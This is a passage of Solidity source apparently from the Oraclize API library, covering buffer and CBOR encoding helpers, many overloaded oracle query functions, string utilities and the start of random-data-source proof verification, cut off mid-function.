data.length) * 2); } uint dest; uint src; uint len = data.length; assembly { let bufptr := mload(buf) let buflen := mload(bufptr) dest := add(add(bufptr, buflen), 32) mstore(bufptr, add(buflen, mload(data))) src := add(data, 32) } for(; len >= 32; len -= 32) { assembly { mstore(dest, mload(src)) } dest += 32; src += 32; } uint mask = 256 ** (32 - len) - 1; assembly { let srcpart := and(mload(src), not(mask)) let destpart := and(mload(dest), mask) mstore(dest, or(destpart, srcpart)) } return buf; } function append(buffer memory buf, uint8 data) internal constant { if(buf.buf.length + 1 > buf.capacity) { resize(buf, buf.capacity * 2); } assembly { let bufptr := mload(buf) let buflen := mload(bufptr) let dest := add(add(bufptr, buflen), 32) mstore8(dest, data) mstore(bufptr, add(buflen, 1)) } } function appendInt(buffer memory buf, uint data, uint len) internal constant returns(buffer memory) { if(len + buf.buf.length > buf.capacity) { resize(buf, max(buf.capacity, len) * 2); } uint mask = 256 ** len - 1; assembly { let bufptr := mload(buf) let buflen := mload(bufptr) let dest := add(add(bufptr, buflen), len) mstore(dest, or(and(mload(dest), not(mask)), data)) mstore(bufptr, add(buflen, len)) } return buf; } } library CBOR { using Buffer for Buffer.buffer; uint8 private constant MAJOR_TYPE_INT = 0; uint8 private constant MAJOR_TYPE_NEGATIVE_INT = 1; uint8 private constant MAJOR_TYPE_BYTES = 2; uint8 private constant MAJOR_TYPE_STRING = 3; uint8 private constant MAJOR_TYPE_ARRAY = 4; uint8 private constant MAJOR_TYPE_MAP = 5; uint8 private constant MAJOR_TYPE_CONTENT_FREE = 7; function shl8(uint8 x, uint8 y) private constant returns (uint8) { return x * (2 ** y); } function encodeType(Buffer.buffer memory buf, uint8 major, uint value) private constant { if(value <= 23) { buf.append(uint8(shl8(major, 5) | value)); } else if(value <= 0xFF) { buf.append(uint8(shl8(major, 5) | 24)); buf.appendInt(value, 1); } else if(value <= 0xFFFF) { buf.append(uint8(shl8(major, 5) | 25)); buf.appendInt(value, 2); } else if(value <= 0xFFFFFFFF) { buf.append(uint8(shl8(major, 5) | 26)); buf.appendInt(value, 4); } else if(value <= 0xFFFFFFFFFFFFFFFF) { buf.append(uint8(shl8(major, 5) | 27)); buf.appendInt(value, 8); } } function encodeIndefiniteLengthType(Buffer.buffer memory buf, uint8 major) private constant { buf.append(uint8(shl8(major, 5) | 31)); } function encodeUInt(Buffer.buffer memory buf, uint value) internal constant { encodeType(buf, MAJOR_TYPE_INT, value); } function encodeInt(Buffer.buffer memory buf, int value) internal constant { if(value >= 0) { encodeType(buf, MAJOR_TYPE_INT, uint(value)); } else { encodeType(buf, MAJOR_TYPE_NEGATIVE_INT, uint(-1 - value)); } } function encodeBytes(Buffer.buffer memory buf, bytes value) internal constant { encodeType(buf, MAJOR_TYPE_BYTES, value.length); buf.append(value); } function encodeString(Buffer.buffer memory buf, string value) internal constant { encodeType(buf, MAJOR_TYPE_STRING, bytes(value).length); buf.append(bytes(value)); } function startArray(Buffer.buffer memory buf) internal constant { encodeIndefiniteLengthType(buf, MAJOR_TYPE_ARRAY); } function startMap(Buffer.buffer memory buf) internal constant { encodeIndefiniteLengthType(buf, MAJOR_TYPE_MAP); } function endSequence(Buffer.buffer memory buf) internal constant { encodeIndefiniteLengthType(buf, MAJOR_TYPE_CONTENT_FREE); } } contract usingOraclize { uint constant day = 60*60*24; uint constant week = 60*60*24*7; uint constant month = 60*60*24*30; byte constant proofType_NONE = 0x00; byte constant proofType_TLSNotary = 0x10; byte constant proofType_Ledger = 0x30; byte constant proofType_Android = 0x40; byte constant proofType_Native = 0xF0; byte constant proofStorage_IPFS = 0x01; uint8 constant networkID_auto = 0; uint8 constant networkID_mainnet = 1; uint8 constant networkID_testnet = 2; uint8 constant networkID_morden = 2; uint8 constant networkID_consensys = 161; OraclizeAddrResolverI OAR; OraclizeI oraclize; modifier oraclizeAPI { if((address(OAR)==0)||(getCodeSize(address(OAR))==0)) oraclize_setNetwork(networkID_auto); if(address(oraclize) != OAR.getAddress()) oraclize = OraclizeI(OAR.getAddress()); _; } modifier coupon(string code){ oraclize = OraclizeI(OAR.getAddress()); oraclize.useCoupon(code); _; } function oraclize_setNetwork(uint8 networkID) internal returns(bool){ if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){ OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed); oraclize_setNetworkName("eth_mainnet"); return true; } if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){ OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1); oraclize_setNetworkName("eth_ropsten3"); return true; } if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){ OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e); oraclize_setNetworkName("eth_kovan"); return true; } if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){ OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48); oraclize_setNetworkName("eth_rinkeby"); return true; } if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){ OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475); return true; } if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){ OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF); return true; } if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){ OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA); return true; } return false; } function __callback(bytes32 myid, string result) { __callback(myid, result, new bytes(0)); } function __callback(bytes32 myid, string result, bytes proof) { } function oraclize_useCoupon(string code) oraclizeAPI internal { oraclize.useCoupon(code); } function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource); } function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource, gaslimit); } function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; return oraclize.query.value(price)(0, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; return oraclize.query.value(price)(timestamp, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; return oraclize.query2.value(price)(0, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; bytes memory args = ba2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; bytes memory args = ba2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; bytes memory args = ba2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; bytes memory args = ba2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_cbAddress() oraclizeAPI internal returns (address){ return oraclize.cbAddress(); } function oraclize_setProof(byte proofP) oraclizeAPI internal { return oraclize.setProofType(proofP); } function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal { return oraclize.setCustomGasPrice(gasPrice); } function oraclize_setConfig(bytes32 config) oraclizeAPI internal { return oraclize.setConfig(config); } function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){ return oraclize.randomDS_getSessionPubKeyHash(); } function getCodeSize(address _addr) constant internal returns(uint _size) { assembly { _size := extcodesize(_addr) } } function parseAddr(string _a) internal returns (address){ bytes memory tmp = bytes(_a); uint160 iaddr = 0; uint160 b1; uint160 b2; for (uint i=2; i<2+2*20; i+=2){ iaddr *= 256; b1 = uint160(tmp[i]); b2 = uint160(tmp[i+1]); if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87; else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55; else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48; if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87; else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55; else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48; iaddr += (b1*16+b2); } return address(iaddr); } function strCompare(string _a, string _b) internal returns (int) { bytes memory a = bytes(_a); bytes memory b = bytes(_b); uint minLength = a.length; if (b.length < minLength) minLength = b.length; for (uint i = 0; i < minLength; i ++) if (a[i] < b[i]) return -1; else if (a[i] > b[i]) return 1; if (a.length < b.length) return -1; else if (a.length > b.length) return 1; else return 0; } function indexOf(string _haystack, string _needle) internal returns (int) { bytes memory h = bytes(_haystack); bytes memory n = bytes(_needle); if(h.length < 1 || n.length < 1 || (n.length > h.length)) return -1; else if(h.length > (2**128 -1)) return -1; else { uint subindex = 0; for (uint i = 0; i < h.length; i ++) { if (h[i] == n[0]) { subindex = 1; while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex]) { subindex++; } if(subindex == n.length) return int(i); } } return -1; } } function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string) { bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); bytes memory _bd = bytes(_d); bytes memory _be = bytes(_e); string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); bytes memory babcde = bytes(abcde); uint k = 0; for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; for (i = 0; i < _be.length; i++) babcde[k++] = _be[i]; return string(babcde); } function strConcat(string _a, string _b, string _c, string _d) internal returns (string) { return strConcat(_a, _b, _c, _d, ""); } function strConcat(string _a, string _b, string _c) internal returns (string) { return strConcat(_a, _b, _c, "", ""); } function strConcat(string _a, string _b) internal returns (string) { return strConcat(_a, _b, "", "", ""); } function parseInt(string _a) internal returns (uint) { return parseInt(_a, 0); } function parseInt(string _a, uint _b) internal returns (uint) { bytes memory bresult = bytes(_a); uint mint = 0; bool decimals = false; for (uint i=0; i<bresult.length; i++){ if ((bresult[i] >= 48)&&(bresult[i] <= 57)){ if (decimals){ if (_b == 0) break; else _b--; } mint *= 10; mint += uint(bresult[i]) - 48; } else if (bresult[i] == 46) decimals = true; } if (_b > 0) mint *= 10**_b; return mint; } function uint2str(uint i) internal returns (string){ if (i == 0) return "0"; uint j = i; uint len; while (j != 0){ len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (i != 0){ bstr[k--] = byte(48 + i % 10); i /= 10; } return string(bstr); } using CBOR for Buffer.buffer; function stra2cbor(string[] arr) internal constant returns (bytes) { safeMemoryCleaner(); Buffer.buffer memory buf; Buffer.init(buf, 1024); buf.startArray(); for (uint i = 0; i < arr.length; i++) { buf.encodeString(arr[i]); } buf.endSequence(); return buf.buf; } function ba2cbor(bytes[] arr) internal constant returns (bytes) { safeMemoryCleaner(); Buffer.buffer memory buf; Buffer.init(buf, 1024); buf.startArray(); for (uint i = 0; i < arr.length; i++) { buf.encodeBytes(arr[i]); } buf.endSequence(); return buf.buf; } string oraclize_network_name; function oraclize_setNetworkName(string _network_name) internal { oraclize_network_name = _network_name; } function oraclize_getNetworkName() internal returns (string) { return oraclize_network_name; } function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){ if ((_nbytes == 0)||(_nbytes > 32)) throw; _delay *= 10; bytes memory nbytes = new bytes(1); nbytes[0] = byte(_nbytes); bytes memory unonce = new bytes(32); bytes memory sessionKeyHash = new bytes(32); bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash(); assembly { mstore(unonce, 0x20) mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp))) mstore(sessionKeyHash, 0x20) mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32) } bytes memory delay = new bytes(32); assembly { mstore(add(delay, 0x20), _delay) } bytes memory delay_bytes8 = new bytes(8); copyBytes(delay, 24, 8, delay_bytes8, 0); bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay]; bytes32 queryId = oraclize_query("random", args, _customGasLimit); bytes memory delay_bytes8_left = new bytes(8); assembly { let x := mload(add(delay_bytes8, 0x20)) mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000)) } oraclize_randomDS_setCommitment(queryId, sha3(delay_bytes8_left, args[1], sha256(args[0]), args[2])); return queryId; } function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal { oraclize_randomDS_args[queryId] = commitment; } mapping(bytes32=>bytes32) oraclize_randomDS_args; mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified; function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){ bool sigok; address signer; bytes32 sigr; bytes32 sigs; bytes memory sigr_ = new bytes(32); uint offset = 4+(uint(dersig[3]) - 0x20); sigr_ = copyBytes(dersig, offset, 32, sigr_, 0); bytes memory sigs_ = new bytes(32); offset += 32 + 2; sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0); assembly { sigr := mload(add(sigr_, 32)) sigs := mload(add(sigs_, 32)) } (sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs); if (address(sha3(pubkey)) == signer) return true; else { (sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs); return (address(sha3(pubkey)) == signer); } } function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) { bool sigok; bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2); copyBytes(proof, sig2offset, sig2.length, sig2, 0); bytes memory appkey1_pubkey = new bytes(64); copyBytes(proof, 3+1, 64, appkey1_pubkey, 0); bytes memory tosign2 = new bytes(1+65+32); tosign2[0] = 1; copyBytes(proof, sig2offset-65, 65, tosign2, 1); bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c"; copyBytes(CODEHASH, 0, 32, tosign2, 1+65); sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey); if (sigok == false) return false; bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4"; bytes memory tosign3 = new bytes(1+65); tosign3[0] = 0xFE; copyBytes(proof, 3, 65, tosign3, 1); bytes memory sig3 = new bytes(uint(proof[3+65+1])+2); copyBytes(proof, 3+65, sig3.length, sig3, 0); sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY); return sigok; } modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) { if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) throw; bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); if (proofVerified == false) throw; _; } function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){ if ((_proof[0] != 